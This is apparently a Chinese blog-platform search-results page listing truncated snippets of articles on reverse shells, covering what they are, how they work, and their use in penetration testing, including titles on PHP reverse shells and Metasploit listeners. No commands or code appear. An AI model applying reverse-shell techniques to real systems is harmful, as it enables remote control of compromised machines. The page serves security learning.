    什么是反弹shell(reverse shell)? 就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上网络概念的客户端与服务端的...
  • 反弹shell原理与实现

    2021-03-09 10:15:10
    什么是反弹shell?  反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上网络概念的...
  • 在渗透测试过程中,反弹shell是获取到权限的一种很重要的方式,一直用那些反弹shell的命令却不知道是什么意思,现在来专门学习一下原理。 什么是反弹shell 反弹shell(reverse shell),就是监控端在监控某TCP/UDP端口...
  • 反弹shell成功的原理是什么 4.反弹shell有没有什么变形。5.反弹shell有哪些方法? 当我去攻击一台机器的时候,通过该机器的端口以及端口提供的服务(SSH、telnet等等)可以直接去连接到这台机器,但是如果连不上这...
  • 渗透测试/反弹shell

    2021-02-02 11:55:41
    1、什么是反弹shell 就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上网络概念的客户端与服务端的角色反转。 2、...
  • 冰蝎下的反弹shell连接msfconsole

    万次阅读 2021-01-07 18:48:20
    好久没碰美少妇(MSF)了,恰巧昨天在群里水群,有个表哥问为什么msf监听不到数据。为此我带着表哥的疑问进行了简单的研究。大体的流程和思路我简单记录一下。其中的坑还是不少的,希望这篇文章对初识冰蝎的表哥们有点...
  • 渗透测试之反弹shell

    2020-03-16 21:12:47
    什么是反弹shell 攻击者想要控制肉鸡,就必须要一个数据传输的通道(TCP/UDP),可以通过ssh或telnet来远程登录来进行操作。这些都攻击者主动连接肉鸡,如果肉鸡主动连接攻击者实现的shell通道,,就叫反弹shell。 ...
  • php反弹shell实现代码

    2021-01-21 15:38:42
    非常无 奈,没想 到什么好的办法,后来灵光一闪。放一个php页面,里面 可以直接弹回来shell,何况在console下面操作比webshell方便的多,也不会出现超时之类的情况。 因为我不怎么懂php,于是就找了猥琐 的诺诺和...
  • 内网渗透-反弹Shell

    2020-07-07 16:22:31
    什么反弹shell? 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这比较常规...
  • 0×01简介 反弹shell在漏洞证明和利用的过程中都是一个直接有力的手段。由于安全工作或者学习的需要,我们或多或少都会接触到各种反弹shell的命令,于是就有了这个能稍微帮助...那么这个反弹shell命令到底是什么意...
  • linux反弹shell原理

    2019-07-30 16:32:36
    一直知道Linux反弹shell。但是不知道其原理所以今天学习了一波。 文件描述符 首先我们要明白文件描述符是什么? 文件描述符定义:文件描述符在形式上是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程...

空空如也

空空如也

1 2 3 4 5
收藏数 99
精华内容 39
关键字:

反弹shell是什么